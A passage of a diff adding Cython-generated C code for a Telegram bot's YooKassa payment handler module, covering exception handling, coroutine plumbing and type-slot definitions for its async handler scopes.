__Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L24; + } + __pyx_L23_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_21, &__pyx_t_22, &__pyx_t_23); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20) < 0)) __Pyx_ErrFetch(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_23); + __pyx_t_15 = __pyx_lineno; __pyx_t_16 = __pyx_clineno; __pyx_t_17 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_ExceptionReset(__pyx_t_21, __pyx_t_22, __pyx_t_23); + } + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_ErrRestore(__pyx_t_18, __pyx_t_19, __pyx_t_20); + __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; + __pyx_lineno = __pyx_t_15; __pyx_clineno = __pyx_t_16; __pyx_filename = __pyx_t_17; + goto __pyx_L11_except_error; + } + __pyx_L24:; + } + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + goto __pyx_L10_exception_handled; + } + goto __pyx_L11_except_error; + + /* "handlers/payments/yookassa_pay.py":248 + * ) + * + * try: # <<<<<<<<<<<<<< + * payment = Payment.create( + * { + */ + __pyx_L11_except_error:; + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_ExceptionReset(__pyx_t_7, __pyx_t_8, __pyx_t_9); + goto __pyx_L1_error; + __pyx_L10_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_ExceptionReset(__pyx_t_7, __pyx_t_8, __pyx_t_9); + __pyx_L14_try_end:; + } + + /* "handlers/payments/yookassa_pay.py":235 + * @router.message(ReplenishBalanceState.entering_custom_amount_yookassa) + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): # <<<<<<<<<<<<<< + * amount = int(message.text) + * if amount <= 0: + */ + goto __pyx_L4; + } + + /* "handlers/payments/yookassa_pay.py":302 + * await message.answer(" .") + * else: + * await message.answer(" . , :") # <<<<<<<<<<<<<< + */ + /*else*/ { + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 302, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_kp_u__24}; + __pyx_t_10 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 302, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_10); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 7; + return __pyx_r; + __pyx_L30_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 302, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 302, __pyx_L1_error) + } + } + } + __pyx_L4:; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/yookassa_pay.py":233 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_yookassa) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_12); + __Pyx_AddTraceback("process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa *__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa[8]; +static int __pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa[--__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa(PyObject *o) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_exists); + Py_CLEAR(p->__pyx_v_expected_hash); + Py_CLEAR(p->__pyx_v_i); + Py_CLEAR(p->__pyx_v_key_count); + Py_CLEAR(p->__pyx_v_session); + Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_v_tg_id); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa)))) { + __pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa[__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa++] = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_exists) { + e = (*v)(p->__pyx_v_exists, a); if (e) return e; + } + if (p->__pyx_v_i) { + e = (*v)(p->__pyx_v_i, a); if (e) return e; + } + if (p->__pyx_v_key_count) { + e = (*v)(p->__pyx_v_key_count, a); if (e) return e; + } + if (p->__pyx_v_session) { + e = (*v)(p->__pyx_v_session, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_v_tg_id) { + e = (*v)(p->__pyx_v_tg_id, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa_spec = { + "handlers.payments.yookassa_pay.__pyx_scope_struct__process_callback_pay_yookassa", + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.yookassa_pay.""__pyx_scope_struct__process_callback_pay_yookassa", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection *__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection[8]; +static int __pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection[--__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection(PyObject *o) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_amount_str); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_confirm_keyboard); + Py_CLEAR(p->__pyx_v_customer_email); + Py_CLEAR(p->__pyx_v_customer_id); + Py_CLEAR(p->__pyx_v_customer_name); + Py_CLEAR(p->__pyx_v_data); + Py_CLEAR(p->__pyx_v_payment); + Py_CLEAR(p->__pyx_v_payment_url); + Py_CLEAR(p->__pyx_v_state); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection)))) { + __pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection[__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection++] = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection *)o; + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; + } + if (p->__pyx_v_amount_str) { + e = (*v)(p->__pyx_v_amount_str, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_confirm_keyboard) { + e = (*v)(p->__pyx_v_confirm_keyboard, a); if (e) return e; + } + if (p->__pyx_v_customer_id) { + e = (*v)(p->__pyx_v_customer_id, a); if (e) return e; + } + if (p->__pyx_v_customer_name) { + e = (*v)(p->__pyx_v_customer_name, a); if (e) return e; + } + if (p->__pyx_v_data) { + e = (*v)(p->__pyx_v_data, a); if (e) return e; + } + if (p->__pyx_v_payment) { + e = (*v)(p->__pyx_v_payment, a); if (e) return e; + } + if (p->__pyx_v_payment_url) { + e = (*v)(p->__pyx_v_payment_url, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection_spec = { + "handlers.payments.yookassa_pay.__pyx_scope_struct_1_process_amount_selection", + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.yookassa_pay.""__pyx_scope_struct_1_process_amount_selection", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook *__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook[8]; +static int __pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook[--__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook(PyObject *o) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_amount_str); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_event); + Py_CLEAR(p->__pyx_v_payment); + Py_CLEAR(p->__pyx_v_payment_id); + Py_CLEAR(p->__pyx_v_payment_object); + Py_CLEAR(p->__pyx_v_request); + Py_CLEAR(p->__pyx_v_user_id); + Py_CLEAR(p->__pyx_v_user_id_str); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + 